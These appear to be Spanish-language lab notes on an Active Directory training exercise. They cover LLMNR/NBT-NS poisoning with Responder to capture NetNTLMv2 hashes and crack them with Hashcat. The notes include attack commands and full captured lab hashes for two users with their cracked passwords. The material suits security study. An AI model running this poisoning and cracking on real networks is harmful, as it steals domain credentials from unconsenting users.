LLMNR & NBT-NS Poisoning desde Linux

Objetivo

Obtener credenciales claras o hashes NTLMv2 de usuarios del dominio mediante ataques Man-in-the-Middle sobre LLMNR y NBT-NS, usando herramientas como Responder o Inveigh.

Estas credenciales nos permitirán obtener un foothold inicial o avanzar en la cadena de ataque mediante técnicas como password spraying, relaying o movimientos laterales.


🧭 1. Introducción

Hasta ahora ya hemos completado nuestra enumeración inicial del dominio, recopilando:

El siguiente paso natural es capturar credenciales aprovechando cómo Windows resuelve nombres cuando DNS falla.
Aquí es donde entran:

Estos protocolos permiten que cualquier máquina responda a solicitudes de resolución.
Perfecto para nosotros: podemos suplantar al host solicitado y capturar NTLM.


📡 2. ¿Qué es LLMNR y NBT-NS?

Cuando un usuario Windows intenta acceder a un recurso inexistente, por ejemplo:

\\printer01.inlanefreight.local

Y DNS falla, el host hace broadcast:

  1. Primero por LLMNR

  2. Si no obtiene respuesta, por NBT-NS

Vulnerabilidad clave

Cualquier equipo puede responder a estas peticiones y hacerse pasar por el servidor solicitado.

Esto permite:
✔ Capturar hashes NTLMv1/NTLMv2
✔ Forzar autenticación a un rogue server
✔ Relayar credenciales si SMB signing está deshabilitado


🧨 3. Flujo del ataque (resumen)

  1. Un usuario comete un error al escribir un nombre de host.

  2. DNS responde: no existe.

  3. El equipo envía una petición LLMNR/NBT-NS al broadcast local.

  4. Nosotros (Responder) contestamos falsamente diciendo:
    "Sí, yo soy ese host"

  5. El cliente intenta autenticarse contra nosotros →
    NTLMv2 hash capturado

  6. Crackeamos el hash offline (Hashcat) o lo usamos en un SMB Relay.

Tip

Este ataque suele funcionar incluso en redes bien configuradas.
Muchas empresas no deshabilitan LLMNR/NBT-NS.


🛠️ 4. Herramientas disponibles

Herramienta Uso
Responder Poisioning completo + rogue server SMB/HTTP
Inveigh Versión en PowerShell/C# útil desde Windows
Metasploit Módulos de spoofing pero menos eficaces

En esta sección trabajaremos desde Linux con Responder.


🧰 5. Uso de Responder

Revisar parámetros principales

responder -h

Parámetros importantes:

Flag Descripción
-I Interfaz de red (obligatorio)
-A Modo análisis (solo escucha)
-w WPAD rogue proxy
-f Fingerprinting del host víctima
-v Verboso
Puertos necesarios

Responder requiere múltiples puertos abiertos (UDP/TCP 53, 137, 138, 389, 80, 445…).
Si otro servicio los usa, Responder fallará.


▶️ 6. Iniciar Responder

Modo ataque (completo):

sudo responder -I ens224
Tip

Lo ideal: dejarlo ejecutándose en tmux mientras realizamos más enumeración.
Capturas más hashes con el tiempo.

Ejemplo: Captura de hashes con Responder

→ Los hashes se guardan en:

/usr/share/responder/logs/

Los ficheros siguen el formato:

SMB-NTLMv2-SSP-<IP>.txt HTTP-NTLMv2-<IP>.txt


🔓 7. Crackear hashes NTLMv2 con Hashcat

Responder normalmente captura NetNTLMv2, hash mode 5600.

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

Ejemplo real:

FOREND::INLANEFREIGHT:4af70a79938ddf8a:0f85ad1e80baa52d...:Klmcargo2

Success

Contraseña crackeada: Klmcargo2

Este password nos da acceso a una cuenta válida de dominio → suficiente para iniciar la siguiente fase.


📈 8. Qué hacer después

Con una contraseña válida puedes:

Info

Es recomendable seguir crackeando más hashes si pueden aportar valor, pero evita perder horas con usuarios irrelevantes.


🧪 Ejercicios Realizados

✔️ 1. Obtener hash NTLMv2 de un usuario que empieza por “b”

sudo responder -I ens224

Hash capturado → usuario:

backupagent
Pasted image 20251115100817.png

Crackeo

echo "backupagent::INLANEFREIGHT:f549b50bc3407f81:C76E30C9D8E00B1855110CE37AE33753:010100000000000080B95E21E555DC012B4CDBF4FA5602C3000000000200080050004B004500540001001E00570049004E002D004C0052004B0031004100550056005A0036004700540004003400570049004E002D004C0052004B0031004100550056005A003600470054002E0050004B00450054002E004C004F00430041004C000300140050004B00450054002E004C004F00430041004C000500140050004B00450054002E004C004F00430041004C000700080080B95E21E555DC01060004000200000008003000300000000000000000000000003000002764E2702A073D8E2221CBDD64BEABA414E8A6DD90517E5FB9160F3EC4B7A34A0A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000" > backupagent_hash.txt
hashcat -m 5600 backupagent_hash.txt /usr/share/wordlists/rockyou.txt

Resultado:

**h1backup55
Pasted image 20251115101553.png

✔️ 2. Obtener y crackear hash NTLMv2 del usuario “wley”

Guardamos el hash:
 
{8A85F431-C1BA-4633-A19D-54F83EED5F0A}.png

echo "wley::INLANEFREIGHT:bd5296abe161cca3:C371E92AC9941DC3B5D37B8C78A08974:010100000000000080B95E21E555DC01E593139BCE38E14B000000000200080050004B004500540001001E00570049004E002D004C0052004B0031004100550056005A0036004700540004003400570049004E002D004C0052004B0031004100550056005A003600470054002E0050004B00450054002E004C004F00430041004C000300140050004B00450054002E004C004F00430041004C000500140050004B00450054002E004C004F00430041004C000700080080B95E21E555DC01060004000200000008003000300000000000000000000000003000002764E2702A073D8E2221CBDD64BEABA414E8A6DD90517E5FB9160F3EC4B7A34A0A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E0035002E003200320035000000000000000000" > wley_hash.txt       

Crackeo:

hashcat -m 5600 wley_hash.txt  /usr/share/wordlists/rockyou.txt

Resultado:

transporter@4
Pasted image 20251115101754.png